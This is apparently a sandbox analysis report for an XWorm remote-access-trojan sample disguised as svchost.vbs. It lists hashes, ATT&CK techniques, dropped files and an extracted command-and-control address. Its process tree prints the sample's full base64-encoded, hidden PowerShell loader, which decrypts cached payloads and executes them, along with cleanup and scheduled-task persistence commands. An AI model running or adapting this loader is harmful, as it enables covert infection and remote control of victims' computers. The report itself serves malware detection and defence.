xworm | 7a44f649a5540fb058a59a70f7d502409239ea42988f80f69ffc38ec1a7357ec

Analysis

max time kernel
148s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 08:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
svchost.vbs
Size 60KB
Sample260930-j5sjsayvct
SHA256 7a44f649a5540fb058a59a70f7d502409239ea42988f80f69ffc38ec1a7357ec
MD5 0555c4760ba5acba3dd3cea5161297e2
SHA1 d8f59fcb3a7d054ea16e2852457dd994a58a521b
SHA512 a25bece080d8fd70ccf428d5022a90682f68ed89ccfb568d7998c11309ed7629055102353bd2c74b10029552ec89ed4cfbf6373072769f5081cc0e9562bd9354
SSDEEP 768:DoQNU9qoGA9dX09du6DrmFr08NkaJp2N89Onz6bCsmZtL1/KNWJPv14n9poEatP+:kTqokdurmNyOOWHriNJ1EWZI5AV
TLSH
T14B53AF57AE11A632CA626533EDDB145FF9B363171015642A795C8A040F70BFC93F0BA9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

medellin202156.duckdns.org:7777

Mutex

pLjLEBFnwxj0FXSY

Attributes

install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4824-50-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5052	powershell.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
6120	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5052 set thread context of 4824	5052	powershell.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4820	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1964	PING.EXE
4820	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1964	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3676	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
5052	powershell.exe
5052	powershell.exe
5052	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	4824	MSBuild.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 6120 wrote to memory of 5052	6120	WScript.exe	89
PID 6120 wrote to memory of 4820	6120	WScript.exe	91
PID 6120 wrote to memory of 3676	6120	WScript.exe	93
PID 4820 wrote to memory of 1964	4820	cmd.exe	95
PID 5052 wrote to memory of 2596	5052	powershell.exe	98
PID 2596 wrote to memory of 3516	2596	csc.exe	99
PID 5052 wrote to memory of 6100	5052	powershell.exe	100
PID 6100 wrote to memory of 2952	6100	csc.exe	101
PID 5052 wrote to memory of 4824	5052	powershell.exe	102
PID 5052 wrote to memory of 4824	5052	powershell.exe	102
PID 5052 wrote to memory of 4824	5052	powershell.exe	102
PID 5052 wrote to memory of 4824	5052	powershell.exe	102
PID 5052 wrote to memory of 4824	5052	powershell.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\svchost.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:6120
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand dAByAHkAIAB7AAoAJABiAGwAbwBiAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAdABsADYAOAA1ADMANAAuAGMAYQBjAGgAZQAnACkAKQAKAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAdABsADYAOAA1ADMANAAuAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAkAGsAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcANgA4AEIATgB3ADEAYQBJAFIANwBnAGwASwBMADcAcwA1AHUAVQBiAHAASQBWAE8AbQBXAFEAcAByAFMAZABpAHgANABhAFQAbQArADgARwA3AEcAOAA9ACcAKQAKACQAdABoAD0AJwAzAEEARgBFAEUANgA3ADcAOQAxAEMARAAyADEAQgAyADUAQwA1ADQARgBCAEQANwA3ADcANwA1AEQAOABCADMAOQA3ADMAMwBGADgARgAwAEYARQBGADUAMAAzAEYARQA4ADQAMQBEADgAQgAzADIAMwBFAEMAOAA3ADYAMgBGACcACgAkAHQAYQBwAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAzADIACgBmAG8AcgAoACQAcQA9ADAAOwAkAHEAIAAtAGwAdAAgADMAMgA7ACQAcQArACsAKQB7ACQAdABhAHAAZQBbACQAcQBdAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJAB0AGgALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcQAqADIALAAyACkALAAxADYAKQB9AAoAJABpAHYAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAxADYACgBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABiAGwAbwBiACwAJABpAHYALAAxADYAKQAKACQAbgA9ACQAYgBsAG8AYgAuAEwAZQBuAGcAdABoAC0AMQA2AAoAJABiAG8AZAB5AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAJABuAAoAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAYgBsAG8AYgAsADEANgAsACQAYgBvAGQAeQAsADAALAAkAG4AKQAKAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJABiAG8AZAB5AC4ATABlAG4AZwB0AGgAOwAkAGkAKwA9ADIAKQB7ACQAYgBvAGQAeQBbACQAaQBdAD0AWwBiAHkAdABlAF0AKAAoACgAJABiAG8AZAB5AFsAJABpAF0AIAAtAHMAaABsACAANAApACAALQBiAG8AcgAgACgAJABiAG8AZAB5AFsAJABpAF0AIAAtAHMAaAByACAANAApACkAIAAtAGIAYQBuAGQAIAAyADUANQApAH0ACgBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAYgBvAGQAeQAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABiAG8AZAB5AFsAJABpAF0APQBbAGIAeQB0AGUAXQAoACgAJABiAG8AZAB5AFsAJABpAF0ALQAkAHQAYQBwAGUAWwAkAGkAJQAzADIAXQAtACgAKAAkAGkAKgAxADMAKQAtAGIAYQBuAGQAIAAyADUANQApACkAIAAtAGIAYQBuAGQAIAAyADUANQApAH0ACgAkAHAAcgBvAHYAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFIAaQBqAG4AZABhAGUAbABNAGEAbgBhAGcAZQBkAAoAJABwAHIAbwB2AC4AQgBsAG8AYwBrAFMAaQB6AGUAPQAxADIAOAAKACQAcAByAG8AdgAuAEsAZQB5AFMAaQB6AGUAPQAyADUANgAKACQAcAByAG8AdgAuAE0AbwBkAGUAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAJABwAHIAbwB2AC4AUABhAGQAZABpAG4AZwA9AFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAkAHAAcgBvAHYALgBLAGUAeQA9ACQAawAKACQAcAByAG8AdgAuAEkAVgA9ACQAaQB2AAoAJABwAGwAYQBpAG4APQAkAHAAcgBvAHYALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABiAG8AZAB5ACwAMAAsACQAYgBvAGQAeQAuAEwAZQBuAGcAdABoACkACgAkAGIAbwBkAHkAPQAkAG4AdQBsAGwACgAkAGIAbABvAGIAPQAkAG4AdQBsAGwACgAkAG8AZgBmAD0AMAAKAGkAZgAoACQAcABsAGEAaQBuAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADMAIAAtAGEAbgBkACAAJABwAGwAYQBpAG4AWwAwAF0AIAAtAGUAcQAgADAAeABFAEYAIAAtAGEAbgBkACAAJABwAGwAYQBpAG4AWwAxAF0AIAAtAGUAcQAgADAAeABCAEIAIAAtAGEAbgBkACAAJABwAGwAYQBpAG4AWwAyAF0AIAAtAGUAcQAgADAAeABCAEYAKQB7ACQAbwBmAGYAPQAzAH0ACgAkAHQAPQBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHAAbABhAGkAbgAsACQAbwBmAGYALAAkAHAAbABhAGkAbgAuAEwAZQBuAGcAdABoAC0AJABvAGYAZgApAAoAJABwAGwAYQBpAG4APQAkAG4AdQBsAGwACgAkAGwAZQBkAGcAZQByAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABsAGQAZwAxADQAMQAwADMALgBjAGEAYwBoAGUAJwApAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAbABkAGcAMQA0ADEAMAAzAC4AYwBhAGMAaABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAGkAZgAoACQAbABlAGQAZwBlAHIALgBDAG8AbgB0AGEAaQBuAHMAKAAnAHwAfAB8ACcAKQApAHsACgAkAHAAYQByAHQAcwA9ACQAbABlAGQAZwBlAHIALgBTAHAAbABpAHQAKABbAHMAdAByAGkAbgBnAFsAXQBdAEAAKAAnAHwAfAB8ACcAKQAsAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApAAoAJABsAGUAZABnAGUAcgA9ACQAbgB1AGwAbAAKACQAdAA9ACQAdAAuAFIAZQBwAGwAYQBjAGUAKAAnAF8AXwBEAEwATABfAF8AJwAsACQAcABhAHIAdABzAFsAMABdACkACgAkAHQAPQAkAHQALgBSAGUAcABsAGEAYwBlACgAJwBfAF8AUABMAEQAXwBfACcALAAkAHAAYQByAHQAcwBbADEAXQApAAoAJABwAGEAcgB0AHMAPQAkAG4AdQBsAGwACgB9AGUAbABzAGUAewAKACQAdAA9ACQAdAAuAFIAZQBwAGwAYQBjAGUAKAAnAF8AXwBQAEwARABfAF8AJwAsACQAbABlAGQAZwBlAHIAKQAKACQAbABlAGQAZwBlAHIAPQAkAG4AdQBsAGwAfQAKAGkAZQB4ACAAJAB0AAoAJAB0AD0AJABuAHUAbABsAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAaQBuAHYAXwA2ADYAMwAwADIANAA3ADQAJwAgAC0ARgBvAHIAYwBlACAALQBSAGUAYwB1AHIAcwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAfQAgAGMAYQB0AGMAaAAgAHsAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5052
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\liumtyfj\liumtyfj.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2596
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8E09.tmp" "c:\Users\Admin\AppData\Local\Temp\liumtyfj\CSCBAD2D16AC1D4D7B90378BBB58BED9A.TMP"
      4⤵
      PID:3516
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xvkmsl5k\xvkmsl5k.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6100
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8EC4.tmp" "c:\Users\Admin\AppData\Local\Temp\xvkmsl5k\CSCDD525E66CB345068ACE93A4FE728BA9.TMP"
      4⤵
      PID:2952
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 8 >nul & rmdir /s /q "C:\Users\Admin\AppData\Local\Temp\inv_66302474"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 8
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1964
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "InventoryCatalogHost" /xml "C:\Users\Admin\AppData\Local\Temp\task84460.xml" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3676

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:2556

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES8E09.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES8E09.tmp
Size 1KB
SHA256 7c3e7fd5443168fcbf9c4fea17a72ce88efc31ad786bd07f91a371ace3944313
MD5 5d9e7ee752437f1ac02f09387d2f3788
SHA1 b382e183a647c9e4c0b02485e5d9be792ad2e6da
SHA512 c1f37a4da0f9bec7c78c5acb8246ae81ff6baf28146f90a879390d83ce1abad3a4e6f482eaea2896d3d2a5a752c8ee262ad03860bce6c9d885ab25b479b40fe3
TLSH
T1C121C60693ED870EF0735B31BDF6072FA238FC65AFA6935B8548422D2C51104EEA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

RES8EC4.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES8EC4.tmp
Size 1KB
SHA256 a9ed3eee99f653cae927171038550e4fa8b50a23e24fd3730f29121eb0cf0efb
MD5 7967c4e08972b9df639fb45c3fcda2e5
SHA1 5cf6a97617bacb29fb3260602ed226fcdb4e3931
SHA512 9cb3318e146c10ad8b1dbc1d0746a0fd6bfad10c022dfc6502cf97cfdb1ae5e667f5648e015945806b066cbd8c7c9afe15f8b06180c8feef6beb48d6be1b7160
TLSH
T197218C0993E9470FF077473269F6172FD674FD64EFA2935A854142292C41644EEF0E72
MD5 SHA1 SHA512 TLSH

Submit Download

ctl68534.cache

Path C:\Users\Admin\AppData\Local\Temp\ctl68534.cache
Size 18KB
SHA256 d3bbfefe632840639aca8c4994e0b7d357e9c596357e6421d2d3ce564965631a
MD5 a7bf4e11d3818a5d23bb1755317adfb4
SHA1 8a573f6d69da6facab57438b76b42fd8c9bed52b
SHA512 c7261bb8afd444662ebea5c82609caccb33bbcdf5cfedc25976fe84e7661e7f0b2ecd9922d322dccb7867d2227b8a1cc2f471b582a586da41ddac94c0866caba
SSDEEP 384:I7hPZe1g2KuCwOZeUE26A84BwlFDGZIjgN335KrrWtG0THLA:I73qg2KXwOq260CtGZbaqrXA
TLSH
T15C82E11FAD76F78AAA5CFAF1C2511024BC7C51B21EE3581D122DFC145278288D42271E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ldg14103.cache

Path C:\Users\Admin\AppData\Local\Temp\ldg14103.cache
Size 19KB
SHA256 c683c6ac1c52dd313bae7c2ae848daf53e71188cd30f04e20d42e5ae0f9923fe
MD5 46f9e98228a3659c0653406ff950de55
SHA1 3c2537d4596452ed8ee013ac6f97ed17c484534f
SHA512 b77a60bbe33e26b06a5c130a2d748c96e01ad0709414bbfbf6c4706bc1daa45048353e9c970d79b48fb60fc35659360c8dc6ac19e8de01fdb0c5ea7d5941fc79
SSDEEP 384:RHeJVM6WLxvPnK5JccORpldQW4DcGoVoQJAb6ys0h4Oin3:RezONfK4vQW4DcGoVZAb5A
TLSH
T1CE92E1F9BD7BDB734891EC23AEDD0A94E46A537C82B0371B868DDF1B0125B158038315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

liumtyfj.dll

Path C:\Users\Admin\AppData\Local\Temp\liumtyfj\liumtyfj.dll
Size 5KB
SHA256 8213e384624a712fbf1f4cd0a11083019d70b79fdf8f51287a308a60a62914cd
MD5 900dfb7f83f0cd1d9adae6f8ea8a24b7
SHA1 02554dc0e3d0a9d1673406b0c5a2f2f2d79562d9
SHA512 69c1f183ee1592f9b67aad90ecee0f1188e3dc1fdf14ea4600164501a66e2c2dbcb99962bb1fe3498d0ba0f6cacfea4baa2565005e137f8b9e052a25c0fa9be8
SSDEEP 48:6BWqBYjSJHNDZMSaJD5a+5iFNaVjRbIIfib1gbmgDngdJcpjBno+1ulTYa3AXq:v4YjSJHpZMnJNtiK5rlnsaK
TLSH
T1B2B1A21AD3DC0592F5AB033CBCB70B03E775E8944B2BCB6F19C0512A2C7BB641925B60
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

task84460.xml

Path C:\Users\Admin\AppData\Local\Temp\task84460.xml
Size 1KB
SHA256 b33a59e15d8a5083dda134faa87317c1aef61a9ba51502ae3bd83eca8294f101
MD5 af7ae4f9e633c339ea2b74ea4991fcf7
SHA1 14d877d614a3fcfd39451d50ffeeea4281d39a01
SHA512 123102da0ca0d33351bd4c68b4d4f1e4648cfdef8913d74b52a4d6a1dbfafa19ab0e9d19709102ea3f93b1704b7dd0fa35b8554a03b283b476325ab58765dd8d
TLSH
T14641484367FE1109F1F76B9CAAB758514EA7BD695C34947D00BC0A0D0BB3962C960B37
MD5 SHA1 SHA512 TLSH

Submit Download

xvkmsl5k.dll

Path C:\Users\Admin\AppData\Local\Temp\xvkmsl5k\xvkmsl5k.dll
Size 4KB
SHA256 5a38161704c863001e51e2fdfacb8e7d9a7fe7414353cc54343386c5bac78277
MD5 81782c7c8b5265e3a76012b3e5d225b7
SHA1 28a3ed129eb6427f401e5da5254330961e785e76
SHA512 5fe92f36a49d8df17b9860c8cc31783c873c4dfc2422d8336debf96fb105820892c5c0f21166e818fc9837ea16023730caeb2a5b255ce0eb83171968abc0bc17
TLSH
T1BC81560A77ED010AE07747759AF317536674E5A0AE2773AF6CE053286C643A09921BF1
MD5 SHA1 SHA512 TLSH

Submit Download

CSCBAD2D16AC1D4D7B90378BBB58BED9A.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\liumtyfj\CSCBAD2D16AC1D4D7B90378BBB58BED9A.TMP
Size 652B
SHA256 f6bd8caf62f09f6daa72e7307e8d57a2c130c6784a1961d881be708a891d8e63
MD5 1989a0f756264487757c4db4ee6287bd
SHA1 1a751d28c526e6aaad95616e63987e7efb06bede
SHA512 0b1288c19192c8b8f95d06e1fbbe7b75387e1311687059f49cd6d5893edeaeaa199fcb7418a97f3c3230fd74b7a15c3f9a4de9071ba432580fe8be67c7d42912
TLSH
T153F05E09A3F8120EF0F35B30BEF6436395A9BC65DE3693ED2480531D2C645108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

liumtyfj.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\liumtyfj\liumtyfj.0.cs
Size 3KB
SHA256 d7603f5d018b5911bec49d7b9f4af4432a1bfe65569477fd3e2380cc439fe0f9
MD5 2a206de1a016d16431401f75cef137da
SHA1 b39ba632fb7d9b4788b9bd1829782977f3be84b9
SHA512 b39b6a8259eb47678b1e865a96260c88ffbf2cdc04e550c03a1a5599c73d5535050c1eb9155c96e364e009712cc46c7af435250467b5fc6e7be4eca3accc4c2f
TLSH
T15F613328136687A024D71025FA87A08BF613407329FF9C3079FD47261F8B249E4B2B6E
MD5 SHA1 SHA512 TLSH

Submit Download

liumtyfj.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\liumtyfj\liumtyfj.cmdline
Size 369B
SHA256 fc176a6b548ffa8edd18a0554594ceac829bd52753458bcccf996421c297a097
MD5 ccd9a471827e5823f3ac03220294ec0d
SHA1 51e8528d745a82519a0e2449f7f24bb860950b65
SHA512 6447db0dc1e65515d51359d4703371709504ea5b9302f81cb67686c6073349ac1ebb23549ffab7119678aecc2d92309b95a6c05f1ccc74e1bcf789417b38ce61
TLSH
T1CDE0D83A526AD6BE16DA200F217DE5BC827346472A817F84929C445DE0170146BD1755
MD5 SHA1 SHA512 TLSH

Submit Download

CSCDD525E66CB345068ACE93A4FE728BA9.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\xvkmsl5k\CSCDD525E66CB345068ACE93A4FE728BA9.TMP
Size 652B
SHA256 e3e228059368e9166a9a8546acb8a5a486b89a66b4dea312f928215b63061df3
MD5 4ad66986d8ec1a7d829b59d41fd51712
SHA1 432a01f0cb972ca2bff6535cb7f5a52a57abc11f
SHA512 d54d279333e0de15c9fe8b26ab7725fd5cc06de9c96f3fcdd605c4246c9e60304839119a3363058cadd4f0fe2c5ae9d00aa1afcf5c903c58342075015d03320c
TLSH
T166F05E4963F8020EF4F34B30BDF65367D1A8BC64DE3293ED545503192864510DA72FB2
MD5 SHA1 SHA512 TLSH

Submit Download

xvkmsl5k.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\xvkmsl5k\xvkmsl5k.0.cs
Size 2KB
SHA256 291785496efa7cf758790d1099c06384b3b4a6abae37d9f172f93ee7dce805ef
MD5 7b641fcc51c78df821f7ac51ca7c7dea
SHA1 d6a174f52d0ebd9afb24aafaffe6d41ca4292629
SHA512 fdf45d3b8216673851d652dc221a7653a9c662beb9e52cafc86ed48e2044f63650b8ad617bc0b3c9ed9baef980e657f0f3b5b3bde14f745caebf7be91780b4ce
TLSH
T1CB41AC41D9E3DA791A8784398F7DD5023798E03326E8FC48BD1DA6640F225511BF4A9E
MD5 SHA1 SHA512 TLSH

Submit Download

xvkmsl5k.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\xvkmsl5k\xvkmsl5k.cmdline
Size 369B
SHA256 a2c910dca87893b9097e8f3cb3e185a52216adf1973fc4c949e6379e5584b7b9
MD5 8ca367afe7756b36dcbab1986ca6d955
SHA1 9c1c819ed762d62c952819a7a1a71ef610de2014
SHA512 fda8fa3dec20dcb7f887bcb031ecd6dec665ed2c8f7cd887d1c3753a2ff5e2c78c38084ccc80d9b875b0ae564dc9b1ccd4767819f47cfbe85223e1830474aef1
TLSH
T1CCE0C02E5246C27D01EF301725A9C4ACF37247C32DC43F845081480DD01710027D1B86
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4824-54-0x0000000006F60000-0x0000000006FF2000-memory.dmp

Download

memory/4824-50-0x0000000000400000-0x000000000040E000-memory.dmp

Download

memory/4824-51-0x0000000005620000-0x00000000056BC000-memory.dmp

Download

memory/5052-11-0x00000000057D0000-0x0000000005836000-memory.dmp

Download

memory/5052-14-0x00000000058E0000-0x0000000005C3B000-memory.dmp

Download

memory/5052-21-0x00000000076C0000-0x0000000007C7A000-memory.dmp

Download

memory/5052-18-0x0000000007060000-0x00000000070F6000-memory.dmp

Download

memory/5052-20-0x0000000006FC0000-0x0000000006FE2000-memory.dmp

Download

memory/5052-19-0x0000000006390000-0x00000000063AA000-memory.dmp

Download

memory/5052-36-0x00000000072C0000-0x00000000072C8000-memory.dmp

Download

memory/5052-16-0x0000000005E90000-0x0000000005EDC000-memory.dmp

Download

memory/5052-15-0x0000000005E00000-0x0000000005E1E000-memory.dmp

Download

memory/5052-22-0x0000000008300000-0x000000000897C000-memory.dmp

Download

memory/5052-10-0x0000000005760000-0x00000000057C6000-memory.dmp

Download

memory/5052-9-0x0000000004F30000-0x0000000004F52000-memory.dmp

Download

memory/5052-49-0x00000000072D0000-0x00000000072D8000-memory.dmp

Download

memory/5052-6-0x00000000747B0000-0x0000000074F6C000-memory.dmp

Download

memory/5052-8-0x00000000747B0000-0x0000000074F6C000-memory.dmp

Download

memory/5052-7-0x0000000004FA0000-0x00000000055EA000-memory.dmp

Download

memory/5052-5-0x0000000004900000-0x0000000004936000-memory.dmp

Download

memory/5052-53-0x00000000747B0000-0x0000000074F6C000-memory.dmp

Download

memory/5052-3-0x00000000747C2000-0x00000000747C3000-memory.dmp

Download